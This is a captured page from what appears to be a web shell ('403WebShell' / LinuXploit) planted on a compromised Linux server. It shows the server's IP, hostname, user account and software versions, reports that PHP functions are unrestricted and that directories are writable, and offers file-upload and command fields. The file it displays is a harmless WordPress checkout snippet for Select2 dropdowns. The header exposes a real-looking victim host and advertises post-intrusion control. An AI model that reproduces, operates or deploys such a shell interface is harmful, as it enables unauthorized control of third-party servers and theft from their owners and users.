Done ! 403WebShell
403Webshell
Server IP : 162.240.50.153  /  Your IP : 216.73.216.201
Web Server : Apache
System : Linux vps-880082.mktpower.cl 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : wwmktp ( 1003)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/wwmktp/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wwmktp/.trash//shipping-state-select2.php
 <?php
  /**
   * Plugin Name: Billing WOOCCM16 → Select2 + Comunas
   * Description: Aplica Select2 al campo billing_wooccm16 y lo rellena con las mismas comunas que shipping_state.
   */

  add_action( 'wp_footer', 'fix_billing_wooccm16_select2', 99 );

  function fix_billing_wooccm16_select2() {
      if ( ! function_exists( 'is_checkout' ) || ! is_checkout() ) {
          return;
      }
      ?>
      <style>
      #billing_wooccm16 + .select2-container .select2-selection--single {
          height: 37px !important;
          line-height: 37px !important;
          display: flex;
          align-items: center;
      }
      #billing_wooccm16 + .select2-container .select2-selection__rendered {
          line-height: 37px !important;
          padding-left: 12px;
      }
      #billing_wooccm16 + .select2-container .select2-selection__arrow {
          height: 37px !important;
      }
      </style>
      <script>
      jQuery( function( $ ) {
          function initBillingWooccm16Select2() {
              var $select = $( '#billing_wooccm16' );
              var $origen = $( '#shipping_state' );
              if ( ! $select.length ) return;

              // 1) Copiar comunas desde shipping_state (solo una vez)
              if ( $origen.length && ! $select.data( 'comunas-cargadas' ) ) {
                  var valorActual = $select.val();

                  $select.empty();
                  $select.append( '<option value="">Elige una opción…</option>' );

                  $origen.find( 'option' ).each( function() {
                      var v = $( this ).val();
                      if ( v === '' ) return; // saltar placeholder del origen
                      $select.append( $( '<option>' ).val( v ).text( $( this ).text() ) );
                  } );

                  if ( valorActual ) $select.val( valorActual );
                  $select.data( 'comunas-cargadas', true );
              }

              // 2) Si ya tiene Select2 inicializado, salir
              if ( $select.hasClass( 'select2-hidden-accessible' ) ) return;

              $select.select2( {
                  placeholder: $select.data( 'placeholder' ) || 'Elige una opción…',
                  allowClear: false,
                  width: '100%',
                  language: {
                      noResults: function() { return 'No se encontraron resultados'; },
                      searching: function() { return 'Buscando…'; }
                  }
              } );
          }

          // Inicializar en carga
          initBillingWooccm16Select2();

          // Re-inicializar cuando WooCommerce actualiza el checkout
          $( document.body ).on( 'updated_checkout country_to_state_changed', function() {
              setTimeout( initBillingWooccm16Select2, 200 );
          } );
      } );
      </script>
      <?php
  }

Youez - 2016 - github.com/yon3zu
LinuXploit